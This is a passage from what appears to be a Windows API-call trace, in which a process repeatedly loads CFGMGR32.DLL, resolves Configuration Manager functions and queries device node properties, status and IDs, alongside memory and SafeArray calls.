0x7ffb1cedd410 [0225.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.968] malloc (_Size=0x18) returned 0x20abc281d40 [0225.969] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0225.969] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4272cf1f, dwHighDateTime=0x1d9eb0c)) [0225.970] SetEvent (hEvent=0x248) returned 1 [0225.975] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.975] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.979] malloc (_Size=0x18) returned 0x20abc282080 [0225.980] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0225.983] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x427536b6, dwHighDateTime=0x1d9eb0c)) [0225.983] SetEvent (hEvent=0x248) returned 1 [0226.009] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.009] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.012] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.012] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.012] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.012] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.012] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.012] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.013] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.013] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.013] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.013] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.013] malloc (_Size=0x18) returned 0x20abc281a80 [0226.014] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0xb, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0226.014] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4279f648, dwHighDateTime=0x1d9eb0c)) [0226.014] SetEvent (hEvent=0x248) returned 1 [0226.023] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.023] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.027] malloc (_Size=0x18) returned 0x20abc281a80 [0226.028] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0xb, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0226.028] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x427c83d2, dwHighDateTime=0x1d9eb0c)) [0226.028] SetEvent (hEvent=0x248) returned 1 [0226.033] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.033] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.037] malloc (_Size=0x18) returned 0x20abc281b00 [0226.037] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.038] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x427ebb2a, dwHighDateTime=0x1d9eb0c)) [0226.038] SetEvent (hEvent=0x248) returned 1 [0226.044] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.044] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.049] malloc (_Size=0x18) returned 0x20abc281f60 [0226.049] CM_Get_Device_IDA (in: dnDevInst=0xc, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0B00\\4&22F5829E&0") returned 0x0 [0226.049] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x42812077, dwHighDateTime=0x1d9eb0c)) [0226.049] SetEvent (hEvent=0x248) returned 1 [0226.053] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.053] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.058] malloc (_Size=0x18) returned 0x20abc281e20 [0226.058] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0226.058] malloc (_Size=0x5a) returned 0x20abc2803e0 [0226.059] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2803e0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2803e0, pulLength=0x2dc22fd3f8) returned 0x0 [0226.059] free (_Block=0x20abc2803e0) [0226.059] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x42812077, dwHighDateTime=0x1d9eb0c)) [0226.060] SetEvent (hEvent=0x248) returned 1 [0226.088] malloc (_Size=0x18) returned 0x20abc2819a0 [0226.088] SafeArrayPutElement (psa=0x20abba804d0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0226.088] free (_Block=0x20abc2819a0) [0226.088] malloc (_Size=0x18) returned 0x20abc281fc0 [0226.088] SafeArrayPutElement (psa=0x20abba804d0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0226.089] free (_Block=0x20abc281fc0) [0226.089] malloc (_Size=0x18) returned 0x20abc281a80 [0226.089] SafeArrayPutElement (psa=0x20abba804d0, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0226.089] free (_Block=0x20abc281a80) [0226.089] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cff0 [0226.089] SafeArrayGetDim (psa=0x20abba804d0) returned 0x1 [0226.089] SafeArrayGetLBound (in: psa=0x20abba804d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0226.089] SafeArrayGetUBound (in: psa=0x20abba804d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0226.089] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba797f0 [0226.089] SafeArrayGetDim (psa=0x20abba804d0) returned 0x1 [0226.089] SafeArrayGetUBound (in: psa=0x20abba804d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0226.089] SafeArrayGetElemsize (psa=0x20abba804d0) returned 0x8 [0226.090] SafeArrayGetElement (in: psa=0x20abba804d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0226.090] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0226.090] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0226.091] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937c0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0226.092] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba797f0) returned 1 [0226.092] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cff0) returned 1 [0226.093] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.093] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.093] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.093] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.093] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.093] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.097] malloc (_Size=0x18) returned 0x20abc281e40 [0226.097] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, 